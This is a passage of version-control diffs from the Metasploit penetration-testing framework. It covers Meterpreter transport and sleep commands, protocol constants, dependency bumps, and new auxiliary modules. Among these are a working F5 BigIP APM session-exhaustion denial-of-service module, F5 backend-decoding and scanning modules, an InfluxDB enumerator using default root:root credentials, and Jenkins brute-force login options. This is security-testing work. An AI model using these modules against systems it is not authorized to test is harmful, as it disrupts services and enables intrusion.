@ -673,12 +715,6 @@ class ClientCore < Extension
def generate_linux_stub
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:retry_total => self.client.retry_total,
:retry_wait => self.client.retry_wait)
blob
end

View File

@ -152,8 +152,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
response = client.send_request(request)
# This is not really a file name, but a raw hash in bytes
return response.get_tlv_value(TLV_TYPE_FILE_NAME)
# older meterpreter binaries will send FILE_NAME containing the hash
hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) ||
response.get_tlv_value(TLV_TYPE_FILE_NAME)
return hash
end
#
@ -166,8 +168,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
response = client.send_request(request)
# This is not really a file name, but a raw hash in bytes
return response.get_tlv_value(TLV_TYPE_FILE_NAME)
# older meterpreter binaries will send FILE_NAME containing the hash
hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) ||
response.get_tlv_value(TLV_TYPE_FILE_NAME)
return hash
end
#

View File

@ -94,6 +94,8 @@ class Config
'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME),
'Architecture' => response.get_tlv_value(TLV_TYPE_ARCHITECTURE),
'System Language' => response.get_tlv_value(TLV_TYPE_LANG_SYSTEM),
'Domain' => response.get_tlv_value(TLV_TYPE_DOMAIN),
'Logged On Users' => response.get_tlv_value(TLV_TYPE_LOGGED_ON_USER_COUNT)
}
end

View File

@ -30,6 +30,7 @@ TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
TLV_TYPE_FILE_SHORT_NAME = TLV_META_TYPE_STRING | 1205
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
@ -112,12 +113,14 @@ TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
# Config
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | 1046
TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047
# Environment
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100

View File

@ -94,13 +94,15 @@ TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436
TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
@ -199,12 +201,13 @@ class Tlv
when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT"
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO"
when TLV_TYPE_TRANS_PROXY_HOST; "TRANS-PROXY-HOST"
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL"
when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT"
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
when TLV_TYPE_UUID; "UUID"
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
#when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'

View File

@ -77,10 +77,19 @@ class Console::CommandDispatcher::Core
end
if client.platform =~ /win/ || client.platform =~ /linux/
# Migration only supported on windows and linux
c["migrate"] = "Migrate the server to another process"
# UUID functionality isn't yet available on other platforms
c["uuid"] = "Get the UUID for the current session"
# Yet to implement transport hopping for other meterpreters.
# Works for posix and native windows though.
c["transport"] = "Change the current transport mechanism"
# sleep functionality relies on the transport features, so only
# wire that in with the transport stuff.
c["sleep"] = "Force Meterpreter to go quiet, then re-establish session."
end
if (msf_loaded?)
@ -280,10 +289,6 @@ class Console::CommandDispatcher::Core
# Disconnects the session
#
def cmd_detach(*args)
if not client.passive_service
print_error("Detach is only possible for non-stream sessions (http/https)")
return
end
client.shutdown_passive_dispatcher
shell.stop
end
@ -382,17 +387,34 @@ class Console::CommandDispatcher::Core
end
def print_timeouts(timeouts)
print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}")
print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds")
print_line("Retry Total Time: #{timeouts[:retry_total]} seconds")
print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds")
if timeouts[:session_exp]
print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}")
end
if timeouts[:comm_timeout]
print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds")
end
if timeouts[:retry_total]
print_line("Retry Total Time: #{timeouts[:retry_total]} seconds")
end
if timeouts[:retry_wait]
print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds")
end
end
#
# Get the machine ID of the target
#
def cmd_machine_id(*args)
print_good("Machine ID: #{client.core.machine_id}")
client.machine_id = client.core.machine_id unless client.machine_id
print_good("Machine ID: #{client.machine_id}")
end
#
# Get the machine ID of the target
#
def cmd_uuid(*args)
client.payload_uuid = client.core.uuid unless client.payload_uuid
print_good("UUID: #{client.payload_uuid}")
end
#
@ -476,6 +498,45 @@ class Console::CommandDispatcher::Core
end
#
# Display help for the sleep.
#
def cmd_sleep_help
print_line('Usage: sleep <time>')
print_line
print_line(' time: Number of seconds to wait (positive integer)')
print_line
print_line(' This command tells Meterpreter to go to sleep for the specified')
print_line(' number of seconds. Sleeping will result in the transport being')
print_line(' shut down and restarted after the designated timeout.')
end
#
# Handle the sleep command.
#
def cmd_sleep(*args)
if args.length == 0
cmd_sleep_help
return
end
seconds = args.shift.to_i
if seconds <= 0
cmd_sleep_help
return
end
print_status("Telling the target instance to sleep for #{seconds} seconds ...")
if client.core.transport_sleep(seconds)
print_good("Target instance has gone to sleep, terminating current session.")
client.shutdown_passive_dispatcher
shell.stop
else
print_error("Target instance failed to go to sleep.")
end
end
#
# Arguments for transport switching
#
@ -494,20 +555,25 @@ class Console::CommandDispatcher::Core
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
'-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ],
'-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ],
'-v' => [ false, 'Show the verbose format of the transport list' ],
'-h' => [ false, 'Help menu' ])
#
# Display help for transport switching
# Display help for transport management.
#
def cmd_transport_help
print_line('Usage: transport [options]')
print_line('Usage: transport <list|change|add|next|prev> [options]')
print_line
print_line('Change the current Meterpreter transport mechanism')
print_line(' list: list the currently active transports.')
print_line(' add: add a new transport to the transport list.')
print_line(' change: same as add, but changes directly to the added entry.')
print_line(' next: jump to the next transport in the list (no options).')
print_line(' prev: jump to the previous transport in the list (no options).')
print_line(@@transport_opts.usage)
end
#
# Change the current transport setings.
# Manage transports
#
def cmd_transport(*args)
if ( args.length == 0 or args.include?("-h") )
@ -515,7 +581,14 @@ class Console::CommandDispatcher::Core
return
end
command = args.shift
unless ['list', 'add', 'change', 'prev', 'next'].include?(command)
cmd_transport_help
return
end
opts = {
:uuid => client.payload_uuid,
:transport => nil,
:lhost => nil,
:lport => nil,
@ -529,9 +602,11 @@ class Console::CommandDispatcher::Core
:session_exp => nil,
:retry_total => nil,
:retry_wait => nil,
:cert => nil
:cert => nil,
:verbose => false
}
valid = true
@@transport_opts.parse(args) do |opt, idx, val|
case opt
when '-c'
@ -560,21 +635,105 @@ class Console::CommandDispatcher::Core
opts[:lport] = val.to_i if val
when '-l'
opts[:lhost] = val
when '-v'
opts[:verbose] = true
when '-t'
unless client.core.valid_transport?(val)
cmd_transport_help
return
end
opts[:transport] = val
else
valid = false
end
end
print_status("Swapping transport ...")
if client.core.transport_change(opts)
client.shutdown_passive_dispatcher
shell.stop
else
print_error("Failed to switch transport, please check the parameters")
unless valid
cmd_transport_help
return
end
case command
when 'list'
result = client.core.transport_list
# this will output the session timeout first
print_timeouts(result)
columns =[
'Curr',
'URL',
'Comms T/O',
'Retry Total',
'Retry Wait'
]
if opts[:verbose]
columns << 'User Agent'
columns << 'Proxy Host'
columns << 'Proxy User'
columns << 'Proxy Pass'
columns << 'Cert Hash'
end
# next draw up a table of transport entries
tbl = Rex::Ui::Text::Table.new(
'SortIndex' => -1, # disable any sorting
'Indent' => 4,
'Columns' => columns)
first = true
result[:transports].each do |t|
entry = [ first ? '*' : '', t[:url], t[:comm_timeout],
t[:retry_total], t[:retry_wait] ]
first = false
if opts[:verbose]
entry << t[:ua]
entry << t[:proxy_host]
entry << t[:proxy_user]
entry << t[:proxy_pass]
entry << (t[:cert_hash] || '').unpack("H*")[0]
end
tbl << entry
end
print("\n" + tbl.to_s + "\n")
when 'next'
print_status("Changing to next transport ...")
if client.core.transport_next
print_good("Successfully changed to the next transport, killing current session.")
client.shutdown_passive_dispatcher
shell.stop
else
print_error("Failed to change transport, please check the parameters")
end
when 'prev'
print_status("Changing to previous transport ...")
if client.core.transport_prev
print_good("Successfully changed to the previous transport, killing current session.")
client.shutdown_passive_dispatcher
shell.stop
else
print_error("Failed to change transport, please check the parameters")
end
when 'change'
print_status("Changing to new transport ...")
if client.core.transport_change(opts)
print_good("Successfully added #{opts[:transport]} transport, killing current session.")
client.shutdown_passive_dispatcher
shell.stop
else
print_error("Failed to change transport, please check the parameters")
end
when 'add'
print_status("Adding new transport ...")
if client.core.transport_add(opts)
print_good("Successfully added #{opts[:transport]} transport.")
else
print_error("Failed to add transport, please check the parameters")
end
end
end

View File

@ -29,9 +29,9 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
# Metasploit::Credential database models
spec.add_runtime_dependency 'metasploit-credential', '0.14.5'
spec.add_runtime_dependency 'metasploit-credential', '~> 1.0'
# Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', '0.24.0'
spec.add_runtime_dependency 'metasploit_data_models', '~> 1.0'
# depend on metasploit-framewrok as the optional gems are useless with the actual code
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
# Needed for module caching in Mdm::ModuleDetails

View File

@ -59,12 +59,12 @@ Gem::Specification.new do |spec|
# Needed for some admin modules (scrutinizer_add_user.rb)
spec.add_runtime_dependency 'json'
# Metasploit::Concern hooks
spec.add_runtime_dependency 'metasploit-concern', '0.4.0'
spec.add_runtime_dependency 'metasploit-concern', '~> 1.0'
# Things that would normally be part of the database model, but which
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
# Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'metasploit-payloads', '0.0.3'
spec.add_runtime_dependency 'metasploit-payloads', '0.0.7'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -0,0 +1,101 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service',
'Description' => %q{
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
unauthenticated attacker can establish multiple connections with BigIP Access Policy
Manager (APM) and exhaust all available sessions defined in customer license. In the
first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
system creates a session, marks it as pending and then redirects the client to an access
policy URI. Since BigIP allocates a new session after the first unauthenticated request,
and deletes the session only if an access policy timeout expires, the attacker can exhaust
all available sessions by repeatedly sending the initial HTTP request and leaving the
sessions as pending.
},
'Author' =>
[
'Denis Kolegov <dnkolegov[at]gmail.com>',
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
'Nikita Oleksov <neoleksov[at]gmail.com>'
],
'References' =>
[
['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html']
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1',
'RPORT' => 443
}
))
register_options(
[
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]),
OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false])
], self.class)
end
def run
limit = datastore['RLIMIT']
force_attack = datastore['FORCE']
res = send_request_cgi('method' => 'GET', 'uri' => '/')
unless res
print_error("#{peer} - No answer from the BigIP server")
return
end
# Simple test based on HTTP Server header to detect BigIP virtual server
server = res.headers['Server']
unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
return
end
print_status("#{peer} - Starting DoS attack")
# Start attack
limit.times do |step|
if step % 100 == 0
print_status("#{peer} - #{step * 100 / limit}% accomplished...")
end
res = send_request_cgi('method' => 'GET', 'uri' => '/')
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")
return
end
end
# Check if attack has failed
res = send_request_cgi('method' => 'GET', 'uri' => uri)
if res.headers['Location'] =~ /\/my.policy/
print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT")
else
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
end
rescue ::Errno::ECONNRESET
print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
rescue ::Rex::ConnectionRefused
print_error("#{peer} - Unable to connect to BigIP")
rescue ::Rex::ConnectionTimeout
print_error("#{peer} - Unable to connect to BigIP. Please check options")
rescue ::OpenSSL::SSL::SSLError
print_error("#{peer} - SSL/TLS connection error")
end
end

View File

@ -6,7 +6,6 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
@ -30,125 +29,131 @@ class Metasploit3 < Msf::Auxiliary
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726']
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSLVersion' => 'TLS1'
}
))
register_options(
[
OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10])
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
], self.class)
end
def change_endianness(value, size=4)
def change_endianness(value, size = 4)
conversion = nil
if size == 4
conversion = [value].pack("V").unpack("N").first
elsif size == 2
conversion = [value].pack("v").unpack("n").first
end
conversion
end
def cookie_decode(cookie_value)
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
host = $1.to_i
port = $2.to_i
backend = {}
case
when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
host = Regexp.last_match(1).to_i
port = Regexp.last_match(2).to_i
host = change_endianness(host)
host = Rex::Socket.addr_itoa(host)
port = change_endianness(port, 2)
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
host = $1.to_i(16)
port = $2.to_i
when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
host = Regexp.last_match(1).to_i(16)
port = Regexp.last_match(2).to_i
host = Rex::Socket.addr_itoa(host)
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
host = $1.to_i(16)
port = $2.to_i
host = Rex::Socket.addr_itoa(host, v6=true)
when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
host = Regexp.last_match(1).to_i(16)
port = Regexp.last_match(2).to_i
host = Rex::Socket.addr_itoa(host, true)
port = change_endianness(port, 2)
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
host = $1.to_i(16)
port = $2.to_i
host = Rex::Socket.addr_itoa(host, v6=true)
elsif cookie_value =~ /!.{104}/
when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
host = Regexp.last_match(1).to_i(16)
port = Regexp.last_match(2).to_i
host = Rex::Socket.addr_itoa(host, true)
else
host = nil
port = nil
end
host.nil? ? nil : "#{host}:#{port}"
backend[:host] = host.nil? ? nil : host
backend[:port] = port.nil? ? nil : port
backend
end
def get_cookie # request a page and extract a F5 looking cookie.
cookie = {}
res = send_request_raw({
'method' => 'GET',
'uri' => @uri
})
res = send_request_raw({ 'method' => 'GET', 'uri' => @uri })
unless res.nil?
# Get the SLB session IDs for all cases:
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
# 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
cookie[:id] = m.nil? ? nil : m[1]
cookie[:value] = m.nil? ? nil : m[2]
end
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
regexp = /
([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|
(rd\d+o0{20}f{4}\w+o\d{1,5})|
(vi([a-f0-9]{32})\.(\d{1,5}))|
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
(?:$|,|;|\s)
/x
m = res.get_cookies.match(regexp)
cookie[:id] = (m.nil?) ? nil : m[1]
cookie[:value] = (m.nil?) ? nil : m[2]
end
cookie
end
def run
unless datastore['REQUESTS'] > 0
print_error("Please, configure more than 0 REQUESTS")
return
end
back_ends = []
requests = datastore['REQUESTS']
backends = []
@uri = normalize_uri(target_uri.path.to_s)
print_status("#{peer} - Starting request #{@uri}")
for i in 0...datastore['REQUESTS']
cookie = get_cookie() # Get the cookie
(1..requests).each do |i|
cookie = get_cookie # Get the cookie
# If the cookie is not found, stop process
if cookie.empty? || cookie[:id].nil?
print_error("#{peer} - F5 BigIP load balancing cookie not found")
break
return
end
# Print the cookie name on the first request
if i == 0
print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
if i == 1
print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
if cookie[:id].start_with?('BIGipServer')
print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
end
if cookie[:value].start_with?('rd')
print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
end
if cookie[:value].start_with?('!')
print_status("#{peer} - F5 BigIP cookie is probably encrypted")
print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
end
end
back_end = cookie_decode(cookie[:value])
unless back_end.nil? || back_ends.include?(back_end)
print_status("#{peer} - Backend #{back_end} found")
back_ends.push(back_end)
backend = cookie_decode(cookie[:value])
unless backend[:host].nil? || backends.include?(backend)
print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found")
backends.push(backend)
end
end
# Reporting found backends in database
unless back_ends.empty?
report_note(
:host => rhost,
:type => "f5_load_balancer_backends",
:data => back_ends
)
unless backends.empty?
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
end
rescue ::Rex::ConnectionRefused
print_error("#{peer} - Network connection error")
rescue ::Rex::ConnectionError
print_error("#{peer} - Network connection error")
rescue ::OpenSSL::SSL::SSLError
print_error("#{peer} - SSL/TLS connection error")
end
end

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'F5 BigIP HTTP Virtual Server Scanner',
'Description' => %q{
This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses
different HTTP profiles for managing HTTP traffic and these profiles allow to customize
the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending
on the BigIP system version.
},
'Author' =>
[
'Denis Kolegov <dnkolegov[at]gmail.com>',
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
'Nikita Oleksov <neoleksov[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'],
]
))
register_options(
[
OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']),
OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]),
], self.class)
deregister_options('RPORT')
end
def bigip_http?(ip, port, ssl)
begin
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/',
'rport' => port,
'SSL' => ssl,
},
datastore['TIMEOUT'])
return false unless res
server = res.headers['Server']
return true if server =~ /BIG\-IP/ || server =~ /BigIP/
rescue ::Rex::ConnectionRefused
vprint_error("#{ip}:#{port} - Connection refused")
rescue ::Rex::ConnectionError
vprint_error("#{ip}:#{port} - Connection error")
rescue ::OpenSSL::SSL::SSLError
vprint_error("#{ip}:#{port} - SSL/TLS connection error")
end
false
end
def run_host(ip)
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
if ports.empty?
print_error('PORTS options is invalid')
return
end
ports.each do |port|
unless port == 443 # Skip http check for 443
if bigip_http?(ip, port, false)
print_good("#{ip}:#{port} - BigIP HTTP virtual server found")
next
end
end
unless port == 80 # Skip https check for 80
if bigip_http?(ip, port, true)
print_good("#{ip}:#{port} - BigIP HTTPS virtual server found")
end
end
end
end
end

View File

@ -0,0 +1,95 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'F5 Networks Devices Management Interface Scanner',
'Description' => %q{
This module scans for web management interfaces of the following F5 Networks devices:
BigIP, BigIQ, Enterprise Manager, ARX, and FirePass.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Denis Kolegov <dnkolegov[at]gmail.com>',
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
'Nikita Oleksov <neoleksov[at]gmail.com>'
],
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1',
'RPORT' => 443
}
))
register_options(
[
OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1])
], self.class)
end
def port_open?
begin
res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
return true if res
rescue ::Rex::ConnectionRefused
vprint_status("#{peer} - Connection refused")
return false
rescue ::Rex::ConnectionError
vprint_error("#{peer} - Connection failed")
return false
rescue ::OpenSSL::SSL::SSLError
vprint_error("#{peer} - SSL/TLS connection error")
return false
end
end
def run_host(ip)
return unless port_open?
res = send_request_raw('method' => 'GET', 'uri' => '/')
if res && res.code == 200
# Detect BigIP management interface
if res.body =~ /<title>BIG\-IP/
print_good("#{peer} - F5 BigIP web management interface found")
return
end
# Detect EM management interface
if res.body =~ /<title>Enterprise Manager/
print_good("#{peer} - F5 Enterprise Manager web management interface found")
return
end
# Detect ARX management interface
if res.body =~ /<title>F5 ARX Manager Login<\/title>/
print_good("#{peer} - ARX web management interface found")
return
end
end
# Detect BigIQ management interface
res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/')
if res && res.code == 200 && res.body =~ /<title>BIG\-IQ/
print_good("#{peer} - F5 BigIQ web management interface found")
return
end
# Detect FirePass management interface
res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport)
if res && res.code == 200 && res.body =~ /<br><br><br><big><b>&nbsp;FirePass/
print_good("#{peer} - F5 FirePass web management interface found")
return
end
end
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'InfluxDB Enum Utility',
'Description' => %q{
This module enumerates databases on InfluxDB using the REST API
(using default authentication - root:root).
},
'References' =>
[
['URL', 'http://influxdb.com/docs/v0.9/concepts/reading_and_writing_data.html']
],
'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(8086),
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/db']),
OptString.new('USERNAME', [true, 'The username to login as', 'root']),
OptString.new('PASSWORD', [true, 'The password to login with', 'root'])
], self.class)
end
def run
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
rescue ::Errno::EPIPE, ::Timeout::Error, ::EOFError, ::IOError => e
print_error("#{peer} - The following Error was encountered: #{e.class}")
return
end
unless res
print_error("#{peer} - Server did not respond in an expected way.")
return
end
if res.code == 401 && res.body =~ /Invalid username\/password/
print_error("#{peer} - Failed to authenticate. Invalid username/password.")
return
elsif res.code == 200 && res.headers.include?('X-Influxdb-Version') && res.body.length > 0
print_status("#{peer} - Enumerating...")
begin
temp = JSON.parse(res.body)
if temp.blank?
print_status("#{peer} - Json data is empty")
return
end
results = JSON.pretty_generate(temp)
rescue JSON::ParserError
print_error("#{peer} - Unable to parse JSON data.")
return
end
print_good("Found:\n\n#{results}\n")
path = store_loot(
'influxdb.enum',
'text/plain',
rhost,
results,
'InfluxDB Enum'
)
print_good("#{peer} - File saved in: #{path}")
else
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
end
end
end

View File

@ -23,6 +23,8 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('LOGIN_URL', [true, 'The URL that handles the login process', '/j_acegi_security_check']),
OptEnum.new('HTTP_METHOD', [true, 'The HTTP method to use for the login', 'POST', ['GET', 'POST']]),
Opt::RPORT(8080)
], self.class)
@ -44,6 +46,8 @@ class Metasploit3 < Msf::Auxiliary
scanner = Metasploit::Framework::LoginScanner::Jenkins.new(
configure_http_login_scanner(
uri: datastore['LOGIN_URL'],
method: datastore['HTTP_METHOD'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],

View File

@ -32,33 +32,32 @@ class Metasploit3 < Msf::Auxiliary
end
# Initializes CredentialCollection and SymantecWebGateway
def init(ip)
